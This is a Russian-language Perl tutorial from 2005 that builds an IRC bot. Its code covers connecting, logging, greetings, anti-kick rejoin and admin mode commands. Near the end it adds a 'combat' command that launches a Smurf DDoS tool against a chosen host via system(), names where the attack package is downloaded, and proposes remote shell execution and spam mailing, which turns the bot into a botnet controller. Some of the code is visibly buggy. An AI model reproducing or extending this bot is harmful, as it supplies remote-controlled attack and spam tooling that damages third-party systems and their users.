Web - кодинг: Perl:
Perl drop for IRC
Источник: Сайт
E-mail CodePims
Давно хотел поднять эту тему, и вот -
поднимаю =) На данный момент существует большое количество различных
ботов для IRC - как "заводских" (eggdrop, IRC-drop), так и
самописных.. В основном они используются для ведения логов и
различных фич, типа голосований, приветствий, etc. Мы же попробуем
создать более "боевую" модель. Полных кодов я не буду выкладывать, я
распишу лишь некоторые фичи, которые использую я. Бот будет на Perl,
т.к. "мало информации в интернете на эту тему" (шутка.. кто знает,
тот поймет =)))) На самом деле потому, что perl собран на многих
машинах типа Unix, коих в сети великое множество. Итак, вперед..
Начнем с начала (как это ни странно =): -----
#!/usr/bin/perl - # думаю, ясно за чем это =)
use IO::Socket; # модуль, для создания и работы с сокетом
#####Const#####
if (@ARGV < 4) { # работа с командной строкой
print "\nUsage:";
print ".hb.pl \n"; # выводим всякую хренотень ))
exit(1);
}
$server = $ARGV[0]; # имя сервера
$port = $ARGV[1]; # порт сервера
$chan = $ARGV[2]; # начальный канал
$nick = $ARGV[3]; # ник бота, так же будет идентификатором
$MAX_SIZE = 65000; # для соккета, если не в курсе зачем это, то не меняйте =)
#####
#####ADMIN#####
open(ADMINFILE,"admin.txt"); # эту фичу я нашел в одном самописном боте,
#она использует файл для получения ников админов бота
@admin=; # кидаем список админов в массив
close(ADMIN);
#####
----- Основные переменные описаны, теперь открытие сокета: -----
#####Socket#####
$irc=IO::Socket::INET->new
(
PeerAddr => $server,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "Error$@\n";
#####
----- Идентификация: -----
#####IDENTIFY#####
$irc->send("NICK $nick\nUSER root 0 * :$nick\r\n") ||
die "Can't send IDENTIFY data\n";
#####
----- и заход на канал: -----
#####Join#####
$irc->send("JOIN $chan\n") || die "Can't join a channel\n";
#####
----- теперь сам "движок", выглядит он так: -----
#####MSG#####
while ($irc->recv($msg, $MAX_SIZE)==true) {
# действие - ответ
}
----- Естественно, что сервер будет посылать запросы типа ping
для проверки наличия клиента, поэтому мы должны ему отвечать, иначе
- вылет: -----
#####PING:PONG#####
if ($msg =~ /^PING\s:/) {$irc->send("PONG $server\n") ||
die "Can't send PONG repply\n";}
#####
----- Теперь разберем самое интересное =) Это команды и
действия нашего бота. Если вы не знаете Perl, то попробуйте
прочитать код и понять его (код =)
1. Логирование. Я
достаточно немного возился с этой опцией, поэтому она получилась
немного "сыроватой", но, я думаю, суть ее понять вы сможете: -----
#####LOG#####
$log = sprintf("%04d-%02d-%02d",($tyear+1900),($tmon+1),$tmday).".txt";
# имя лог-файла будет датой старта бота
open(LOG,">>$log") || die "Can't open $log\n";
###ACTION#
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:.ACTION\s(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 $5\n";}
###PRIVMSG#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $4 $1: $5 \n";}
###QUIT#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sQUIT\s:(\S.*):\s(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 QUIT: $4: $5 \n";}
###NICK#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sNICK\s:(\S.+)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 NICK: $4\n";}
###JOIN#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S.+)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 JOIN: $4\n";}
###PING:PONG#
elsif ($msg =~ /^PING\s:(\S.*)/)
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] PING:PONG\n";}
###OTHER#
else {print LOG "$msg";}
close(LOG);
#####
----- Повторю, что этот код очень "сырой"..
2. Сообщение при входе. Ну, тут все просто: -----
#####WELLCOME#####
###ALL
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:.+$/)
{$irc->send("NOTICE $1 :.07,01Welcome 2 our channel! .15Channel
about our life..\n");}
###NAME
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S+)/) {
if ($1 eq "Is7d") {$irc->send("PRIVMSG $4 :.07,01 Welcome
back, Is7d! \n");}
}
#####
-----
3. Анти-кик. Теперь представим ситуацию,
что бота кикнули.. -----
#####RE-JOIN#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sKICK\s(\S+)\s(\S+)\s:(\S+)/) {
if ($5 eq $nick) {$irc->send("JOIN $4\n");}
}
#####
-----
4. Стандартные "админские" команды боту: -----
#####ADMIN_CMD#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####OP#
###+
if ($5 eq "+op") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +o $1\n");}
else {$irc->send("MODE $4 +o $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
###-
if ($5 eq "-op") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -o $1\n");}
else {$irc->send("MODE $4 -o $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
#####
#####HALFOP#
###+
if ($5 eq "+hop") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +h $1\n");}
else {$irc->send("MODE $4 +h $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
###-
if ($5 eq "-hop") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -h $1\n");}
else {$irc->send("MODE $4 -h $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
#####
#####VOICE#
###+
if ($5 eq "+voc") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 +v $1\n");}
else {$irc->send("MODE $4 +v $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
###-
if ($5 eq "-voc") {$test=grep /^$1$/, @admin;
if ($test==1) {
if ($6 eq "me") {$irc->send("MODE $4 -v $1\n");}
else {$irc->send("MODE $4 -v $6\n");}
} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
}
}
#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####PART#
if ($5 eq "part") {$test=grep /^$1$/, @admin;
if ($test==1){$irc->send("PART $6\n");}
}
#####JOIN#
if ($5 eq "join") {$test=grep /^$1$/, @admin;
if ($test==1) {$irc->send("JOIN $6\n");}
}
#####QUIT#
if ($5 eq "quit") {$test=grep /^$1$/, @admin;
if ($test==1) {$irc->send("QUIT :$6\n"); exit;}
}
#####
}
#####
-----
5. Различные стандартные команды: -----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)/) {
#####HELP#
if ($5 eq "help") {$irc->send("PRIVMSG $1 :.04,01..help is disable..\n");}
#####
#####TIME#
if ($5 eq "time") {$irc->send("NOTICE $1 :.07,01Now is: $time on this host\n");}
#####
}
----- Теперь вот такие.. Этот код писал не я, да он и не совсем
так работает, но тут важен принцип: -----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####HTTP#
if ($5 eq "http") {
$web=IO::Socket::INET->new(PeerAddr => $6, PeerPort => 80,
Photo => "tcp", Timeout => 1000);
if($web) {
$web->send("HEAD / HTTP/1.0\n\n");
@web=<$web>;
foreach $fanswer(@web) {
$fanswer=~s#/# #g;
$irc->send("NOTICE $1 :.07,01$fanswer\n")
}
close($web);
}
else {$irc->send("NOTICE $1 : .07,01Can't connect to server $6 port 80\n");}
}
}
#####
----- Почти так же для ftp, ssh, etc..
Теперь
"боевая" фича для Smurf DDoS =)) : -----
if ($5 eq "ddos") {
system("./smu $6 ips2.txt -P icmp -d $8 -p $7 -S $9 &");
}
----- Разруливать сильно не хочу, да и не к чему.. Это все
опять же показывает только принцип.. "Пакет" для smddos лежит в /files/smu.tgz
Здесь я привел пример лишь одной команды, вызывающей атаку
на хост, все зависит от ваших идей и их реализации.. Одно милое
создание под ником 313х4 уже предложила мне натыкать в моего бота
кучу видов атак =F Что я скоро и реализую ))
Я подкину еще
идеи, которые я уже реализовал или еще собираюсь реализовать.
1. Удаленное администрирование. Добавление нового имени в
файл с никами админов, после чего необходимо вновь "привязать"
массив с админами к файлу.
2. Разделение админов по уровню
доступа. Это реально через split. Т.е. файл админов будет
выглядеть примерно так: -----
Is7d:10000
l0ne_w0lf:7000
GoodWin:8000
----- Чем больше уровень доступа, тем больше фич будет доступно
соотвественно..
3. Вывод помощи (help) соответственно уровню
доступа. Т.е. при высшем уровне выводится хэлп по всем командам и
фичам, при среднем уровне - команды, доступные среднему уровню,
etc..
4. Удаленный shell. Например по команде: "!!cmd
uname -a" бот выполняет на хосте "uname -a" и присылает вам ответ
команды.
5. Рассылка почты. Это, возможно, пригодится
спаммерам. Например после отсылки такой команды: "!!mail
maillist.txt::Привет!", бот разошлет через sendmail письма,
внесенные в файл "maillist.txt" с содержанием "Привет!"..
Думаю, что принцип показан, для реализации всего, что я
задумал нужно лишь 3 вещи - терпение, знание perl и идея (хотя бы
маленькая, но идея)..
При перепечатке любого материала
с сайта, видимая ссылка на источник www.warayg.narod.ru
и все имена, ссылки авторов обязательны.
© 2005
|